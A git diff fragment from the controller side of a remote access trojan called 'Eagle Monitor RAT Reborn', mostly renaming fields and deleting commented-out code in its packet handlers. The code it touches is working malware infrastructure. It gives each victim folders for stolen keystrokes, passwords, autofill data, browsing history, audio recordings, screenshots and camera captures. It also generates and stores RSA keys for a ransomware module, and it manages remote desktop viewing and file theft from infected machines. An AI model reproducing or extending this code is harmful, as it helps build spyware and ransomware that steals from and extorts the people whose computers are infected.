remoteAudioCapturePacket.bytesRecorded; } catch { } - }).Start();*/ + return; + } } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs index efdea939..3de5f947 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Audio/RemoteAudioPacketHandler.cs @@ -13,39 +13,24 @@ internal class RemoteAudioPacketHandler { public RemoteAudioPacketHandler(RemoteAudioPacket remoteAudioPacket) : base()//, ClientHandler clientHandler) : base() { - - try - { - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() => - { - foreach (string device in remoteAudioPacket.audioDevices) - { - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.Items.Add(device); - } - - if (remoteAudioPacket.audioDevices.Count > 0) - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0; - })); - } - catch { } - return; - /*new Thread(() => + if (ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm != null) { try { - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.BeginInvoke((MethodInvoker)(() => { foreach (string device in remoteAudioPacket.audioDevices) { - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.Items.Add(device); + ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.Items.Add(device); } if (remoteAudioPacket.audioDevices.Count > 0) - ClientHandler.ClientHandlersList[remoteAudioPacket.baseIp].clientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0; + ClientHandler.ClientHandlersList[remoteAudioPacket.BaseIp].ClientForm.audioDevicesGuna2ComboBox.SelectedIndex = 0; })); } catch { } - }).Start();*/ + return; + } } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs index 172a3f82..93f28384 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Client/ConnectedPacketHandler.cs @@ -20,28 +20,28 @@ internal class ConnectedPacketHandler public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler clientHandler) { clientHandler.HWID = connectedPacket.HWID; - connectedPacket.baseIp = clientHandler.IP; + connectedPacket.BaseIp = clientHandler.IP; - clientHandler.clientPath = Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID; - clientHandler.fullName = connectedPacket.Username + "@" + connectedPacket.HWID; + clientHandler.ClientPath = Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID; + clientHandler.FullName = connectedPacket.Username + "@" + connectedPacket.HWID; Task.Run(() => { if (!Directory.Exists(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID)) { Directory.CreateDirectory(Misc.Utils.GPath + "\\Clients\\" + connectedPacket.Username + "@" + connectedPacket.HWID); - clientHandler.clientStatus = "New client connected !"; - - Directory.CreateDirectory(clientHandler.clientPath + "\\Downloaded Files\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\History\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Autofill\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Keystrokes\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Keywords\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Passwords\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Audio Records\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Screenshots\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Camera\\"); - Directory.CreateDirectory(clientHandler.clientPath + "\\Ransomware\\"); + clientHandler.ClientStatus = "New client connected !"; + + Directory.CreateDirectory(clientHandler.ClientPath + "\\Downloaded Files\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\History\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Autofill\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Keystrokes\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Keywords\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Passwords\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Audio Records\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Screenshots\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Camera\\"); + Directory.CreateDirectory(clientHandler.ClientPath + "\\Ransomware\\"); if (Program.settings.autoGenerateRSAKey) { @@ -51,15 +51,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); - File.WriteAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa); - clientHandler.encryptionInformation = encryptionInformation; + File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); + clientHandler.EncryptionInformation = encryptionInformation; } } else { - clientHandler.clientStatus = "Old client connected !"; - if (!File.Exists(clientHandler.clientPath + "\\Ransomware\\encryption.json") && Program.settings.autoGenerateRSAKey) + clientHandler.ClientStatus = "Old client connected !"; + if (!File.Exists(clientHandler.ClientPath + "\\Ransomware\\encryption.json") && Program.settings.autoGenerateRSAKey) { Misc.EncryptionInformation encryptionInformation = new Misc.EncryptionInformation(); Dictionary rsaKey = Misc.Encryption.GetKey(); @@ -67,15 +67,15 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli encryptionInformation.privateRSAServerKey = rsaKey["PrivateKey"]; string rsa = JsonConvert.SerializeObject(encryptionInformation); - File.WriteAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json", rsa); - clientHandler.encryptionInformation = encryptionInformation; + File.WriteAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json", rsa); + clientHandler.EncryptionInformation = encryptionInformation; } else { if (Program.settings.autoGenerateRSAKey) { - Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.clientPath + "\\Ransomware\\encryption.json")); - clientHandler.encryptionInformation = encryptionInformation; + Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject(File.ReadAllText(clientHandler.ClientPath + "\\Ransomware\\encryption.json")); + clientHandler.EncryptionInformation = encryptionInformation; } } } @@ -105,24 +105,24 @@ public ConnectedPacketHandler(ConnectedPacket connectedPacket, ClientHandler cli if (connectedPacket.Is64Bit == "32") { - clientHandler.is64bitClient = false; + clientHandler.Is64bitClient = false; } else { - clientHandler.is64bitClient = true; + clientHandler.Is64bitClient = true; } if (connectedPacket.Privilege == "User") { - clientHandler.isAdmin = false; + clientHandler.IsAdmin = false; } else { - clientHandler.isAdmin = true; + clientHandler.IsAdmin = true; } - row.Cells["Column10"].Value = clientHandler.serverPort.ToString(); - clientHandler.clientRow = row; + row.Cells["Column10"].Value = clientHandler.ServerPort.ToString(); + clientHandler.ClientRow = row; Program.mainForm.clientDataGridView.ClearSelection(); })); diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs index 3af3016f..d05a1038 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Desktop/RemoteViewerPacketHandler.cs @@ -12,55 +12,26 @@ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteViewerPacketHandler { - public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base()//, ClientHandler clientHandler) : base() + public RemoteViewerPacketHandler(RemoteViewerPacket remoteViewerPacket) : base() { - if (ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm != null) + if (ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm != null) { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() => { try { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true; + ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HasAlreadyConnected = true; if (remoteViewerPacket.desktopPicture != null) { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture); - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol; - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol; + ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture); + ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.HResol = remoteViewerPacket.hResol; + ClientHandler.ClientHandlersList[remoteViewerPacket.BaseIp].ClientForm.RemoteDesktopHandler.VResol = remoteViewerPacket.vResol; } return; } catch { } })); } - /*Task.Run(() => - { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() => - { - try - { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true; - if (ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture) != null) - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture); - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol; - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol; - return; - } - catch { } - })); - });*/ - /*try - { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.BeginInvoke((MethodInvoker)(() => - { - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hasAlreadyConnected = true; - if (ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture) != null) - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopPictureBox.Image = ImageProcessing.BytesToImage(remoteViewerPacket.desktopPicture); - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.hResol = remoteViewerPacket.hResol; - ClientHandler.ClientHandlersList[remoteViewerPacket.baseIp].clientForm.remoteDesktopHandler.vResol = remoteViewerPacket.vResol; - })); - return; - } - catch { }*/ } } } \ No newline at end of file diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs index 23ac872c..45a71767 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DeleteFilePacketHandler.cs @@ -17,39 +17,19 @@ public DeleteFilePacketHandler(DeleteFilePacket deleteFilePacket) : base()//, Cl { if (deleteFilePacket.deleted) { - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { try { - DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList[deleteFilePacket.fileTicket]; - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList.Remove(deleteFilePacket.fileTicket); + DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList[deleteFilePacket.fileTicket]; + ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Remove(row); + ClientHandler.ClientHandlersList[deleteFilePacket.BaseIp].ClientForm.DeleteList.Remove(deleteFilePacket.fileTicket); } catch { } })); } } catch { } - /*new Thread(() => - { - try - { - if (deleteFilePacket.deleted) - { - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => - { - try - { - DataGridViewRow row = ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList[deleteFilePacket.fileTicket]; - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.fileManagerDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[deleteFilePacket.baseIp].clientForm.deleteList.Remove(deleteFilePacket.fileTicket); - } - catch { } - })); - } - } - catch { } - }).Start();*/ } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs index 6f2f08b0..109a10de 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DisksPacketHandler.cs @@ -15,35 +15,18 @@ public DisksPacketHandler(DiskPacket diskPacket) : base()//, ClientHandler clien { try { - ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items.Clear(); - ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Clear(); + ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); foreach (string disk in diskPacket.disksList) { - ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items.Add(disk); + ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items.Add(disk); } - ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.baseIp].clientForm.disksGuna2ComboBox.Items[0]; + ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.SelectedItem = ClientHandler.ClientHandlersList[diskPacket.BaseIp].ClientForm.disksGuna2ComboBox.Items[0]; })); } catch { } - /*new Thread(() => - { - try - { - clientHandler.clientForm.BeginInvoke((MethodInvoker)(() => - { - clientHandler.clientForm.disksGuna2ComboBox.Items.Clear(); - clientHandler.clientForm.fileManagerDataGridView.Rows.Clear(); - foreach (string disk in diskPacket.disksList) - { - clientHandler.clientForm.disksGuna2ComboBox.Items.Add(disk); - } - clientHandler.clientForm.disksGuna2ComboBox.SelectedItem = clientHandler.clientForm.disksGuna2ComboBox.Items[0]; - })); - } - catch { } - }).Start();*/ } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs index cb19ef6a..fa71efce 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/DownloadFilePacketHandler.cs @@ -16,14 +16,14 @@ internal class DownloadFilePacketHandler public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHandler clientHandler) : base() { - using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) + using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) { stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length); } - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => { - DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket]; + DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList[downloadFilePacket.fileTicket]; long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length; row.Cells["Column29"].Tag = currentSize; @@ -40,115 +40,12 @@ public DownloadFilePacketHandler(DownloadFilePacket downloadFilePacket, ClientHa clientHandler.Dispose(); if (Program.settings.autoRemoveRowWhenFileIsDownloaded) { - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket); + ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.dowloadFileDataGridView.Rows.Remove(row); + ClientHandler.ClientHandlersList[downloadFilePacket.BaseIp].ClientForm.DownloadList.Remove(downloadFilePacket.fileTicket); } } downloadFilePacket.file = null; - })); - /*ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => - { - DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket]; - - using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) - { - stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length); - } - - long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length; - row.Cells["Column29"].Tag = currentSize; - - decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString()); - decimal final = Decimal.Round(pourcentage * 100, 2); - - row.Cells["Column30"].Value = $"{final}%"; - - row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}"; - - if (currentSize == long.Parse(row.Tag.ToString())) - { - clientHandler.Dispose(); - if (Program.settings.autoRemoveRowWhenFileIsDownloaded) - { - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket); - } - } - downloadFilePacket.file = null; - }));*/ - /* - new Thread(() => - { - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => - { - DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket]; - - using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) - { - stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length); - } - - long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length; - row.Cells["Column29"].Tag = currentSize; - - decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString()); - decimal final = Decimal.Round(pourcentage * 100, 2); - - row.Cells["Column30"].Value = $"{final}%"; - - row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}"; - - if (currentSize == long.Parse(row.Tag.ToString())) - { - clientHandler.Dispose(); - if (Program.settings.autoRemoveRowWhenFileIsDownloaded) - { - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket); - } - } - downloadFilePacket.file = null; - })); - }).Start();*/ - /*Task.Run(() => - { - using (var stream = new FileStream(ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientPath + "\\Downloaded Files\\" + Misc.Utils.SplitPath(downloadFilePacket.fileName), FileMode.Append)) - { - stream.Write(downloadFilePacket.file, 0, downloadFilePacket.file.Length); - } - - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.BeginInvoke((MethodInvoker)(() => - { - try - { - DataGridViewRow row = ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList[downloadFilePacket.fileTicket]; - - long currentSize = long.Parse(row.Cells["Column29"].Tag.ToString()) + downloadFilePacket.file.Length; - row.Cells["Column29"].Tag = currentSize; - - decimal pourcentage = (decimal)currentSize / long.Parse(row.Tag.ToString()); - decimal final = Decimal.Round(pourcentage * 100, 2); - - row.Cells["Column30"].Value = $"{final}%"; - - row.Cells["Column29"].Value = $"{Misc.Utils.Numeric2Bytes(currentSize)} / {Misc.Utils.Numeric2Bytes(long.Parse(row.Tag.ToString()))}"; - - if (currentSize == long.Parse(row.Tag.ToString())) - { - clientHandler.Dispose(); - if (Program.settings.autoRemoveRowWhenFileIsDownloaded) - { - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.dowloadFileDataGridView.Rows.Remove(row); - ClientHandler.ClientHandlersList[downloadFilePacket.baseIp].clientForm.downloadList.Remove(downloadFilePacket.fileTicket); - } - } - downloadFilePacket.file = null; - } - catch (Exception) - {} - return; - })); - });*/ + })); } } } diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs index edab5d4a..311e38cb 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/FileManagerPacketHandler.cs @@ -16,16 +16,16 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//, { try { - ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); int x = 0; foreach (var dir in fileManagerPacket.filesAndDirs[0]) { - int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26)); row.Cells["Column12"].Value = dir[0].ToString(); row.Cells["Column13"].Value = "Directory"; @@ -34,14 +34,14 @@ public FileManagerPacketHandler(FileManagerPacket fileManagerPacket) : base()//, x++; - ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); + ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); foreach (var file in fileManagerPacket.filesAndDirs[1]) { Image btm = PacketLib.Utils.ImageProcessing.BytesToImage((byte[])file[1]); - int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[fileManagerPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(btm, new Size(26, 26)); row.Cells["Column12"].Value = file[0].ToString(); row.Cells["Column13"].Value = "File"; diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs index e5f789f8..bc198c53 100644 --- a/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs +++ b/Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/File/ShortCutFileManagersPacketHandler.cs @@ -16,19 +16,19 @@ internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFi { try { - ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => + ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.BeginInvoke((MethodInvoker)(() => { - ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString(); - ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.labelPath.Text = shortCutFileManagersPacket.path; + ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.disksGuna2ComboBox.Text = shortCutFileManagersPacket.path[0].ToString() + shortCutFileManagersPacket.path[1].ToString() + shortCutFileManagersPacket.path[2].ToString(); + ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.labelPath.Text = shortCutFileManagersPacket.path; - ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Clear(); + ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Clear(); int x = 0; foreach (var dir in shortCutFileManagersPacket.filesAndDirs[0]) { - int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows.Add(); - DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Rows[rowId]; + int rowId = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows.Add(); + DataGridViewRow row = ClientHandler.ClientHandlersList[shortCutFileManagersPacket.BaseIp].ClientForm.fileManagerDataGridView.Rows[rowId]; row.Cells["Column11"].Value = Misc.Utils.ResizeImage(Properties.Resources.imageres_4.ToBitmap(), new Size(26, 26)); row.Cells["Column12"].Value = dir[0].ToString(); row.Cells["Column13"].Value = "Directory"; @@ -37,14 +37,14 @@ internal ShortCutFileManagersPacketHandler(ShortCutFileManagersPacket shortCutFi x++; - ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.fileManagerDataGridView.Sort(ClientHandler.ClientHandlersList[shortCutFileManagersPacket.baseIp].clientForm.Column12, System.ComponentModel.ListSortDirection.Ascending); + 